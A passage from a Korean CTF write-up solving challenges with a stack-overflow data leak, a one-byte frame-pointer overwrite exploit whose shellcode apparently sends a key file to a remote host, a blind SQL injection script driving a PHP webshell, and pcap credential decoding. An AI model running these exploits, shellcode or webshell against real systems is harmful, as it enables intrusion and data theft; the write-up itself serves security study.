recv_from(fd, (int)&v4, 1024, 10); return 1; [ 그림 9-6] WriteMail 함수 l BOF 취약점이있는함수입니다. l 취약점을통해 return address를 send@plt로덮고 Stack의 Data를읽어오게했더니여러번실행해도같은값을가져온것을확인했고, 이를통해 Random Stack환경이아니라는것을알게되었습니다. 24 글자를읽어들여서 Stack 에있는 buf 변수에저장하는것을볼수있습니다. v9 = fopen("/home/mailservice/user_info", "rt"); fgets(buf, 24, v9); l [ 그림 9-7] 취약한부분 고정 Stack 이므로 send@plt 를이용해 Stack 에있는데이터들을전송시켜서첫번째 로등록한아이디를알아낼수있습니다. Script Code 작성 #!/usr/bin/python from socket import * import time from struct import pack,unpack host = "192.168.61.129" #host = "203.229.206.37" port = 8989 for addr in range(0xbfffee7f,0xbfff0000,-10): pay = pay += a *140 pay += pack( <L,0x080489e0) # send_plt pay += aaaa pay += pack( <L,4) pay += pack( <L,addr) pay += pack( <L,500) pay += pack( <L,0) - 30 -
s = socket(af_inet,sock_stream) s.connect((host,port)) s.recv(100) s.send("2\n") s.recv(100) s.send("win32virus\n") s.recv(100) s.send("y\n") s.recv(100) s.send("asdasd\n") s.recv(100) s.send("a\n") s.recv(100) s.send(pay) time.sleep(0.1) print s.recv(100) print hex(addr) s.close() l [ 그림 9-8] Python Script Python 으로, Stack의끝에있는 Data부터전송해주는 Code를작성하여수행하니 keykey@holyshield.net 이라는문자열을얻을수있었고 Server에접속하여입력하니 flag가있는 Packet이왔습니다. - 31 -
11 번 FreeBSD 8.2의 ELF Binary 이며, Hex-Ray를이용해 De-compile 후분석했습니다. int cdecl client_callback(int client_fd) char buf; // [sp+1ch] [bp-1cch]@2 size_t nbytes; // [sp+1d8h] [bp-10h]@1 int v4; // [sp+1dch] [bp-ch]@1 int fd; // [sp+1e4h] [bp-4h]@1 nbytes = 0x1BCu; v4 = 512; fd = real_client(client_fd); if ( fd ) read(fd, &buf, nbytes); return 0; int cdecl real_client(int client_fd) int v1; // eax@1 int v2; // eax@2 int v3; // eax@3 int len; // eax@7 int v5; // eax@7 size_t v6; // eax@17 int v7; // eax@17 int v9; // [sp+14h] [bp-274h]@17 char buffer; // [sp+25h] [bp-263h]@1 char buf; // [sp+151h] [bp-137h]@2 const char v12[20]; // [sp+16fh] [bp-119h]@1 char nptr; // [sp+183h] [bp-105h]@3 char s; // [sp+186h] [bp-102h]@1 char v15; // [sp+188h] [bp-100h]@17 int v16; // [sp+278h] [bp-10h]@2 int batting; // [sp+27ch] [bp-ch]@3-32 -
int gamemoney; // [sp+280h] [bp-8h]@1 int v19; // [sp+284h] [bp-4h]@1 gamemoney = 10; v19 = 1000; memset(&s, 0, 2u); memset(&buffer, 0, 0x12Cu); memcpy(&buffer, "Hello HolJJak World!!\nGamblerName : ", 0x25u); v1 = strlen(&buffer); sock_send(client_fd, &buffer, v1); sock_recv(client_fd, (int)v12, 10, 10); while ( gamemoney <= 255 ) if ( gamemoney <= 0 ) break; sprintf(&buf, "YourGameMoney : %d!!\n", gamemoney); v2 = strlen(&buf); sock_send(client_fd, &buf, v2); v16 = sub_8048c20(client_fd); if ( v16!= 1 ) break; memset(&buffer, 0, 0x12Cu); memcpy(&buffer, "Batting(1-20) : ", 0x11u); v3 = strlen(&buffer); sock_send(client_fd, &buffer, v3); memset(&nptr, 0, 3u); sock_recv(client_fd, (int)&nptr, 3, 10); batting = atoi(&nptr); if ( gamemoney + batting >= 0 && gamemoney + batting <= 257 ) if ( batting <= 0 batting > 20 ) break; memset(&buffer, 0, 0x12Cu); memcpy(&buffer, "Choice(1. Hol, 2.JJak) : ", 0x1Au); len = strlen(&buffer); sock_send(client_fd, &buffer, len); - 33 -
sock_recv(client_fd, (int)&s, 2, 10); v5 = rand(); v12[0] = ((v5 + ((unsigned int)v5 >> 31)) & 1) - ((unsigned int)v5 >> 31) + 49; if ( atoi(&s)!= 1 atoi(v12)!= 1 ) if ( atoi(&s) <= 1 atoi(v12) <= 1 ) sock_send(client_fd, "T_T BattingMoney Lose>\n", 23); gamemoney -= batting; else sock_send(client_fd, "Great!! Good Choice!!!!!\n", 25); gamemoney += batting; else sock_send(client_fd, "Great!! Good Choice!!!!!\n", 25); gamemoney += batting; if ( gamemoney <= 200 ) v9 = 0; else sock_send(client_fd, "Congratulation\nComment->", 24); sock_recv(client_fd, (int)&buffer, gamemoney, 10); v6 = strlen(&buffer); strncpy(&v15, &buffer, v6); sprintf(&buffer, "YourComment ->%s", &v15); v7 = strlen(&buffer); sock_send(client_fd, &buffer, v7); - 34 -
v9 = client_fd; return v9; l l l l [ 그림 11-1] ELF Binary Source Code 배팅할금액을선택한후짝수, 홀수를맞추면금액만큼 Game Money 를받는 Game 입니다. Game Money가 255를넘어가게되면 Game Money만큼 256byte의배열에 strncpy 로입력받은값을복사하는데, Game Money는최대 257이될수있으므로 Stack 에저장되어있는 sfp를 1byte 조작할수있습니다. 감사하게도위함수에서상위함수로복귀하면 read(fd, buffer, size) 를수행하는데 ebp-0x10을 size 변수로사용합니다. ebp를조작할수있으므로 size에해당하는변수값또한 Stack에있는임의의값으로조작이가능하여 overflow를일으킬수있습니다. 마침 srand 함수가 client가접속하기전에호출되어있으므로짝 / 홀선정에사용되는 rand 값은접속할때마다고정적이어서 Game Money를 257로만들기는아주쉬워집니다. exploit.py #!/usr/bin/python from socket import * import time shellcode = "\x31\xc0\x68\x6b\x65\x79\x00\x89\xe3\x50\x53\xb0\x05\x50\xcd\x80\x89\xc3\x31\xc0\x31\x c9\x66\xb9\x05\x0d\x51\x89\xe6\x81\xee\x05\x0d\x00\x00\x56\x53\xb0\x03\x50\xcd\x80\x89 \xc5\x31\xc0\xb0\x06\x53\x50\xcd\x80\x31\xc0\x50\x6a\x01\x6a\x02\xb0\x61\x50\xcd\x80\x8 9\xc2\x68\x72\x8d\x01\x58\x68\xaa\x02\x1f\x40\x89\xe0\x6a\x10\x50\x52\x31\xc0\xb0\x62\x 50\xcd\x80\x31\xc0\x55\x56\x52\xb0\x04\x50\xcd\x80\x31\xc0\x40\x50\x50\xcd\x80" #HOST = "192.168.123.129" HOST = "203.229.206.35" PORT = 10213 BOOL = "121211222211" for cnt in range(0,0x100/2): - 35 -
s = socket(af_inet, SOCK_STREAM) s.connect((host, PORT )) s.recv(1024) s.send("pwn3r\n") for i in BOOL: s.recv(1024) s.send("1"+"\n") s.recv(1024) s.send("20"+"\n") s.recv(1024) s.send(i+"\n") s.recv(1024) s.send("1"+"\n") s.recv(1024) s.send("7"+"\n") s.recv(1024) s.send("1"+"\n") time.sleep(0.5) s.recv(1024) s.send("a"*256+chr(cnt*2)) s.send("a"*3+"\x10\xea\xbf\xbf"*0x40 + "\x90"*500 + shellcode+"\n") s.close() [ 그림 11-1] Exploit.py - 36 -
14 번 문제 Page에접속하면 study 게시판과 QA 게시판을확인할수있고, QA 게시판에는 SQL Injection 취약점이존재합니다. l Blind SQL Injection을이용해공격하면시간은걸리지만 Table, Column, Priv 등의정보를획득할수있습니다. 계정의권한을확인해보면 file_priv Column이 Y 설정되어있어 load_file() 로특정 File들을읽어들일수있습니다. l File을읽기위해서는경로를알아야하는데문제의 URL 형식으로보아 /home/bback/public_html/89d9ca3b281d44a3dd32c7eac3764332ca918b36/ qa_view.php 일것이라는것을유추할수있습니다. l 입력을할수없으므로 File 경로명을 hex 값으로변환하여 SQL Injection 을수행할수있습니다. php 파일중 download.php 파일에대해 load_file() 로읽어들여 Blind SQL Injection 을수 행하면아래와같은 Code 를뽑아낼수있고해당 Source 에는 File 이 Upload 되어있는경로 를확인할수있습니다. [ 그림 14-1] download.php Source code - 37 -
그리고 study 게시물중 Webshell 관련 Page 에보면 Webshell File 이첨부되어있는데실제 다운받아확인해보면 <? system($_post[cmd])?> ( 명확치않음 ) 의실제 Webshell 임을 알수있습니다. download.php Source 에공개된경로를통해 Webshell cmd 변수에 POST 로 ls 명령을보 내보면아래와같이해당 Directory 의내의 File 목록이출력됩니다. l [ 그림 14-2] Webshell 실행결과 File 중 key 라는 File 이존재함을알수있으며, cat key 명령을전달하면 Key 값 이출력됩니다.. 아래는 14 번문제를풀기위해 python 으로작성한 Blind Injection 코드입니다. import urllib, urllib2 import threading, time def attack(count,num,bit): headers = get = body = # get['num'] = "-1 (select ascii(substr(table_name,%d,1)) from information_schema.tables where table_schema=database() limit %d,1)&%d=%d" % (count,num,bit,bit) # get['num'] = "-1 (select ascii(substr(column_name,%d,1)) from information_schema.columns where table_name=0x7161 limit %d,1)&%d=%d" % (count,num,bit,bit) # get['num'] = "-1 (select ascii(substr(column_name,%d,1)) from information_schema.columns where table_name=0x7374756479 limit %d,1)&%d=%d" % (count,num,bit,bit) # get['num'] = "-1 (select ascii(substr(table_name,%d,1)) from information_schema.tables where table_schema=0x6d7973716c limit %d,1)&%d=%d" % (count,num,bit,bit) - 38 -
# get['num'] = "-1 (select ascii(substr(file_priv,%d,1)) from mysql.user where user=0x626261636b limit %d,1)&%d=%d" % (count,num,bit,bit) # get['num'] = "-1 (select ascii(substr(schema_name,%d,1)) from information_schema.schemata limit %d,1)&%d=%d" % (count,num,bit,bit) # get['num'] = "- 1 ascii(substr(load_file(0x2f686f6d652f626261636b2f7075626c69635f68746d6c2f3839443943413342323831 44343441334444333243374541433337363433333243413931384233362F4246393345354345384243313232384 3323538350D0A42334635413336383035334339464538333436412F696E6465782E706870),%d,1))&%d=%d" % (count,bit,bit) # get['num'] = "- 1 ascii(substr(length(load_file(0x2f686f6d652f626261636b2f7075626c69635f68746d6c2f3839443943413342 32383144343441334444333243374541433337363433333243413931384233362F4246393345354345384243313 2323843323538350D0A42334635413336383035334339464538333436412F7368656C6C2E706870)),%d,1))&%d =%d" % (count,bit,bit) param = urllib.urlencode(get) body['cmd']="cat key" data = urllib.urlencode(body) headers['authorization']='basic YmJhY2s6dGxydGtzbXNna3R1VHRtcXNsUms=' headers['cookie']='phpsessid=k1qtirsu634jo7cnv44ab94fu1' # req = urllib2.request('http://203.229.206.43/~bback/89d9ca3b281d44a3dd32c7eac3764332ca918b36/qa_view.ph p?%s' % param, data, headers) req = urllib2.request('http://203.229.206.43/~bback/89d9ca3b281d44a3dd32c7eac3764332ca918b36/bf93e5ce8 BC1228C2585B3F5A368053C9FE8346A/shell.php', data, headers) response = urllib2.urlopen(req) the_page = response.read() return the_page result=str(attack(0,0,0)) print result """ end_count = 0 print "index.php : ", - 39 -
for num in range(1): count = 1 str_s='' while 1 : end = 0 bit = 64 str_n = 0 while bit >= 1: result = attack(count,num,bit) if str(result).find('sdfg')!= -1: str_n +=bit end_count = 0 else: end +=1 if bit == 16 and end ==3: end = 7 break bit /=2 if end == 7: end_count +=1 break str_s +=chr(str_n) count +=1 print str_s, if end_count == 2: break count = 1 str_s='' for count in range(1,3295): end = 0 bit = 64-40 -
str_n = 0 while bit >= 1: result = attack(count,0,bit) if str(result).find('sdfg')!= -1: str_n +=bit end_count = 0 else: end +=1 if bit == 16 and end ==3: break bit /=2 print chr(str_n), """ [ 그림 14-3] Blind SQL Injection Python Exploit Code - 41 -
15 번 PCAP File 5 개가주어지며, Evidence6 File 에서수상한부분을발견하였습니다. [ 그림 15-1] Evidence6 File 마침 203.229.206.* IP Address 가문제 Server 와동일하고 Packet 에문자열로추정되는값들이발견되어확인해보니 16 진수들이발견되었습니다. 436F6E6E65637420496E666F0D0A 49445F69735F696E74616E65740D0A 50575F69735F736176696E676F7572756E69766572736532303132 7373685F706F72745F393030 52656164202E746F5F76697369746F7273 [ 그림 15-2] 16 진수문자열 2 글자씩잘라서, ASCII 로변환하여보았습니다. Connect Info ID_is_intanet PW_is_savingouruniverse2012ssh_port_900 Read.to_visitors [ 그림 15-3] Decode to ASCII l 접속할 IP 는 203.229.206.128이고 Port는 900번이아니고 9000번이열려있었습니다. Server에접속하니 Home Directory 에 GHOST 라는 root Setuid가걸려있는 Size 0인 File이있었고.to_visitors를읽어보니 time 과 5s 라는 Keyword가있었습니다. l 그리고 Server에는 f400d 라는 Binary가실행되고있었고, GHOST File은몇초마다생성되고다시삭제되었습니다.. - 42 -
5 초마다 GHOST 라는 File 이생성되고사라지는것은 f400d Binary 에서무언가를비교해서 참이면생성거짓이면삭제하는것이라고유추할수있었습니다. 그래서, 5초마다 GHOST File의유무를 Check해서있으면 1 없으면 0을출력하게하는 Script를작성하고실행했습니다. #!/usr/bin/python import time, os t="" while 1: try: os.stat("ghost") break except: continue while 1: print t try: ok = os.stat("ghost") t+="1" time.sleep(5) except: t+="0" time.sleep(5) [ 그림 15-4] time 5s Script l 해당 Script를몇분간실행해서아주긴이진수값을구했습니다. 이진수값에반복되는 Pattern 이보였고 8 글자씩잘라서문자로변환해주는 Script 를작성해 서 Key 값을확인했습니다. #!/usr/bin/python evil = "1100111010010011000111010101000011011010010100101101100101011110010011101001 00110001110101010000110110100101001011011001010111100100111010010011000111010 10100001101101001010010110110010101111001001110100100110001110101010000110110 100101001011011001010111" - 43 -
for i in range(0,len(evil)): tmp = "" for j in range(0,(((len(evil)-i)/8)-1)): tmp += chr(int(evil[i+(j*8):i+(j*8+8)],2)) print tmp [ 그림 15-5] Split 8 Script - 44 -